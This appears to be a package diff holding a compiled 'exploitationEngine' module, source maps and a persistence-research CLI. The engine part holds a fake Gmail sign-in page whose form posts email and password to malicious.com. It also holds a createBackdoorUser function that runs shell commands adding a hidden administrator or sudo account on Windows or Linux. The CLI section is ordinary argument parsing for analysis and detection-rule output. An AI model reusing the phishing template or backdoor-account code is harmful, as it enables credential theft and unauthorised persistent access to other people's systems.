const gmailTemplate = `<!DOCTYPE html><html><body style="font-family: Arial;"><div style="max-width: 400px; margin: 50px auto; padding: 20px; border: 1px solid #ddd;"><img src="https://www.gstatic.com/images/branding/product/1x/gsa_512dp.png" width="50" style="display: block; margin: 0 auto;"><h2 style="text-align: center;">Sign in</h2><form action="http://malicious.com/gmail" method="post"><input type="email" name="email" placeholder="Email or phone" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><input type="password" name="password" placeholder="Enter your password" style="width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd;"><button style="width: 100%; padding: 10px; background: #1a73e8; color: white; border: none;">Next</button></form></div></body></html>`;
|
|
217
|
+
templates.push({
|
|
218
|
+
type: 'gmail-phishing',
|
|
219
|
+
platform: 'web',
|
|
220
|
+
content: gmailTemplate
|
|
221
|
+
});
|
|
222
|
+
return templates;
|
|
223
|
+
}
|
|
224
|
+
/**
|
|
225
|
+
* Create backdoor user account
|
|
226
|
+
*/
|
|
227
|
+
async createBackdoorUser(username, password) {
|
|
228
|
+
try {
|
|
229
|
+
const currentPlatform = platform();
|
|
230
|
+
if (currentPlatform === 'win32') {
|
|
231
|
+
// Windows user creation
|
|
232
|
+
const userCommand = `net user ${username} ${password} /add && net localgroup administrators ${username} /add`;
|
|
233
|
+
execSync(userCommand, { stdio: 'pipe' });
|
|
234
|
+
return {
|
|
235
|
+
success: true,
|
|
236
|
+
output: `Backdoor user ${username} created with admin privileges`,
|
|
237
|
+
evidence: `User account ${username} added to administrators`,
|
|
238
|
+
technique: 'backdoor-user-creation'
|
|
239
|
+
};
|
|
240
|
+
}
|
|
241
|
+
else {
|
|
242
|
+
// Linux user creation
|
|
243
|
+
const userCommand = `useradd -m -s /bin/bash ${username} && echo '${username}:${password}' | chpasswd && usermod -aG sudo ${username}`;
|
|
244
|
+
execSync(userCommand, { stdio: 'pipe' });
|
|
245
|
+
return {
|
|
246
|
+
success: true,
|
|
247
|
+
output: `Backdoor user ${username} created with sudo privileges`,
|
|
248
|
+
evidence: `User ${username} added to sudo group`,
|
|
249
|
+
technique: 'backdoor-user-creation'
|
|
250
|
+
};
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
catch (error) {
|
|
254
|
+
return {
|
|
255
|
+
success: false,
|
|
256
|
+
output: `Backdoor user creation failed: ${error}`,
|
|
257
|
+
evidence: '',
|
|
258
|
+
technique: 'backdoor-user-creation'
|
|
259
|
+
};
|
|
260
|
+
}
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
//# sourceMappingURL=exploitationEngine.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"exploitationEngine.js","sourceRoot":"","sources":["../../../src/security/offensive/exploitationEngine.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Persistence Research CLI
|
|
4
|
+
*
|
|
5
|
+
* Command-line interface for security research on persistence mechanisms
|
|
6
|
+
* across Windows, Linux, and cross-platform environments.
|
|
7
|
+
*/
|
|
8
|
+
interface CLIArguments {
|
|
9
|
+
platform?: string;
|
|
10
|
+
output?: 'text' | 'json' | 'csv';
|
|
11
|
+
includeRemediation?: boolean;
|
|
12
|
+
riskThreshold?: 'low' | 'medium' | 'high' | 'critical';
|
|
13
|
+
generateRules?: string[];
|
|
14
|
+
testCases?: boolean;
|
|
15
|
+
simulateDetection?: boolean;
|
|
16
|
+
assessment?: boolean;
|
|
17
|
+
help?: boolean;
|
|
18
|
+
}
|
|
19
|
+
declare class PersistenceCLI {
|
|
20
|
+
private analyzer;
|
|
21
|
+
constructor();
|
|
22
|
+
/**
|
|
23
|
+
* Parse command line arguments
|
|
24
|
+
*/
|
|
25
|
+
parseArguments(args: string[]): CLIArguments;
|
|
26
|
+
/**
|
|
27
|
+
* Display help information
|
|
28
|
+
*/
|
|
29
|
+
showHelp(): void;
|
|
30
|
+
/**
|
|
31
|
+
* Execute the CLI with provided arguments
|
|
32
|
+
*/
|
|
33
|
+
execute(args: string[]): Promise<void>;
|
|
34
|
+
}
|
|
35
|
+
export { PersistenceCLI };
|
|
36
|
+
//# sourceMappingURL=persistence-cli.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"persistence-cli.d.ts","sourceRoot":"","sources":["../../src/security/persistence-cli.ts"],"names":[],"mappings":";AAEA;;;;;GAKG;AAIH,UAAU,YAAY;IACpB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,MAAM,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,KAAK,CAAC;IACjC,kBAAkB,CAAC,EAAE,OAAO,CAAC;IAC7B,aAAa,CAAC,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;IACvD,aAAa,CAAC,EAAE,MAAM,EAAE,CAAC;IACzB,SAAS,CAAC,EAAE,OAAO,CAAC;IACpB,iBAAiB,CAAC,EAAE,OAAO,CAAC;IAC5B,UAAU,CAAC,EAAE,OAAO,CAAC;IACrB,IAAI,CAAC,EAAE,OAAO,CAAC;CAChB;AAED,cAAM,cAAc;IAClB,OAAO,CAAC,QAAQ,CAAsB;;IAMtC;;OAEG;IACH,cAAc,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,YAAY;IAiD5C;;OAEG;IACH,QAAQ,IAAI,IAAI;IAoChB;;OAEG;IACG,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC;CAuD7C;AAWD,OAAO,EAAE,cAAc,EAAE,CAAC"}
|
|
@@ -0,0 +1,160 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Persistence Research CLI
|
|
4
|
+
*
|
|
5
|
+
* Command-line interface for security research on persistence mechanisms
|
|
6
|
+
* across Windows, Linux, and cross-platform environments.
|
|
7
|
+
*/
|
|
8
|
+
import { PersistenceAnalyzer } from './persistence-analyzer.js';
|
|
9
|
+
class PersistenceCLI {
|
|
10
|
+
analyzer;
|
|
11
|
+
constructor() {
|
|
12
|
+
this.analyzer = new PersistenceAnalyzer();
|
|
13
|
+
}
|
|
14
|
+
/**
|
|
15
|
+
* Parse command line arguments
|
|
16
|
+
*/
|
|
17
|
+
parseArguments(args) {
|
|
18
|
+
const parsed = {};
|
|
19
|
+
for (let i = 0; i < args.length; i++) {
|
|
20
|
+
const arg = args[i];
|
|
21
|
+
switch (arg) {
|
|
22
|
+
case '--platform':
|
|
23
|
+
case '-p':
|
|
24
|
+
parsed.platform = args[++i];
|
|
25
|
+
break;
|
|
26
|
+
case '--output':
|
|
27
|
+
case '-o':
|
|
28
|
+
parsed.output = args[++i];
|
|
29
|
+
break;
|
|
30
|
+
case '--include-remediation':
|
|
31
|
+
case '-r':
|
|
32
|
+
parsed.includeRemediation = true;
|
|
33
|
+
break;
|
|
34
|
+
case '--risk-threshold':
|
|
35
|
+
case '-t':
|
|
36
|
+
parsed.riskThreshold = args[++i];
|
|
37
|
+
break;
|
|
38
|
+
case '--generate-rules':
|
|
39
|
+
case '-g':
|
|
40
|
+
const rules = args[++i]?.split(',');
|
|
41
|
+
if (rules) {
|
|
42
|
+
parsed.generateRules = rules;
|
|
43
|
+
}
|
|
44
|
+
break;
|
|
45
|
+
case '--test-cases':
|
|
46
|
+
parsed.testCases = true;
|
|
47
|
+
break;
|
|
48
|
+
case '--simulate-detection':
|
|
49
|
+
parsed.simulateDetection = true;
|
|
50
|
+
break;
|
|
51
|
+
case '--assessment':
|
|
52
|
+
parsed.assessment = true;
|
|
53
|
+
break;
|
|
54
|
+
case '--help':
|
|
55
|
+
case '-h':
|
|
56
|
+
parsed.help = true;
|
|
57
|
+
break;
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
return parsed;
|
|
61
|
+
}
|
|
62
|
+
/**
|
|
63
|
+
* Display help information
|
|
64
|
+
*/
|
|
65
|
+
showHelp() {
|
|
66
|
+
console.log(`
|
|
67
|
+
Persistence Research CLI
|
|
68
|
+
|
|
69
|
+
Usage:
|
|
70
|
+
node persistence-cli.js [options]
|
|
71
|
+
|
|
72
|
+
Options:
|
|
73
|
+
--platform, -p <platform> Target platform (windows, linux, cross-platform)
|
|
74
|
+
--output, -o <format> Output format (text, json, csv) [default: text]
|
|
75
|
+
--include-remediation, -r Include remediation steps in output
|
|
76
|
+
--risk-threshold, -t <level> Filter by risk level (low, medium, high, critical) [default: medium]
|
|
77
|
+
--generate-rules, -g <ids> Generate detection rules for specific techniques (comma-separated)
|
|
78
|
+
--test-cases Generate test cases for security validation
|
|
79
|
+
--simulate-detection Simulate detection of persistence techniques
|
|
80
|
+
--assessment Generate comprehensive security assessment report
|
|
81
|
+
--help, -h Show this help message
|
|
82
|
+
|
|
83
|
+
Examples:
|
|
84
|
+
# Analyze Windows persistence techniques
|
|
85
|
+
node persistence-cli.js --platform windows
|
|
86
|
+
|
|
87
|
+
# Generate JSON output with remediation steps
|
|
88
|
+
node persistence-cli.js --platform linux --output json --include-remediation
|
|
89
|
+
|
|
90
|
+
# Generate detection rules for specific techniques
|
|
91
|
+
node persistence-cli.js --generate-rules win-registry-run,linux-cron
|
|
92
|
+
|
|
93
|
+
# Generate security assessment report
|
|
94
|
+
node persistence-cli.js --platform windows --assessment
|
|
95
|
+
|
|
96
|
+
# Generate test cases for Linux
|
|
97
|
+
node persistence-cli.js --platform linux --test-cases
|
|
98
|
+
`);
|
|
99
|
+
}
|
|
100
|
+
/**
|
|
101
|
+
* Execute the CLI with provided arguments
|
|
102
|
+
*/
|
|
103
|
+
async execute(args) {
|
|
104
|
+
const parsedArgs = this.parseArguments(args);
|
|
105
|
+
if (parsedArgs.help || args.length === 0) {
|
|
106
|
+
this.showHelp();
|
|
107
|
+
return;
|
|
108
|
+
}
|
|
109
|
+
try {
|
|
110
|
+
if (parsedArgs.generateRules) {
|
|
111
|
+
const rules = this.analyzer.generateDetectionRules(parsedArgs.generateRules);
|
|
112
|
+
console.log(rules);
|
|
113
|
+
return;
|
|
114
|
+
}
|
|
115
|
+
if (parsedArgs.testCases && parsedArgs.platform) {
|
|
116
|
+
const testCases = this.analyzer.generateTestCases(parsedArgs.platform);
|
|
117
|
+
console.log(testCases);
|
|
118
|
+
return;
|
|
119
|
+
}
|
|
120
|
+
if (parsedArgs.simulateDetection && parsedArgs.platform) {
|
|
121
|
+
const detected = this.analyzer.simulateDetection(parsedArgs.platform);
|
|
122
|
+
console.log('Simulated Detection Results:');
|
|
123
|
+
console.log(JSON.stringify(detected, null, 2));
|
|
124
|
+
return;
|
|
125
|
+
}
|
|
126
|
+
if (parsedArgs.assessment && parsedArgs.platform) {
|
|
127
|
+
const report = this.analyzer.generateAssessmentReport(parsedArgs.platform);
|
|
128
|
+
console.log(report);
|
|
129
|
+
return;
|
|
130
|
+
}
|
|
131
|
+
if (parsedArgs.platform) {
|
|
132
|
+
const options = {
|
|
133
|
+
platform: parsedArgs.platform,
|
|
134
|
+
outputFormat: parsedArgs.output || 'text',
|
|
135
|
+
includeRemediation: parsedArgs.includeRemediation || false,
|
|
136
|
+
riskThreshold: parsedArgs.riskThreshold || 'medium'
|
|
137
|
+
};
|
|
138
|
+
const analysis = this.analyzer.analyzePlatform(options);
|
|
139
|
+
console.log(analysis);
|
|
140
|
+
return;
|
|
141
|
+
}
|
|
142
|
+
console.error('Error: Platform argument required for analysis');
|
|
143
|
+
this.showHelp();
|
|
144
|
+
}
|
|
145
|
+
catch (error) {
|
|
146
|
+
console.error('Error executing persistence analysis:', error);
|
|
147
|
+
process.exit(1);
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
// CLI entry point
|
|
152
|
+
if (import.meta.url === `file://${process.argv[1]}`) {
|
|
153
|
+
const cli = new PersistenceCLI();
|
|
154
|
+
cli.execute(process.argv.slice(2)).catch(error => {
|
|
155
|
+
console.error('Fatal error:', error);
|
|
156
|
+
process.exit(1);
|
|
157
|
+
});
|
|
158
|
+
}
|
|
159
|
+
export { PersistenceCLI };
|
|
160
|
+
//# sourceMappingURL=persistence-cli.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"persistence-cli.js","sourceRoot":"","sources":["../../src/security/persistence-cli.ts"],"names":[],"mappings":"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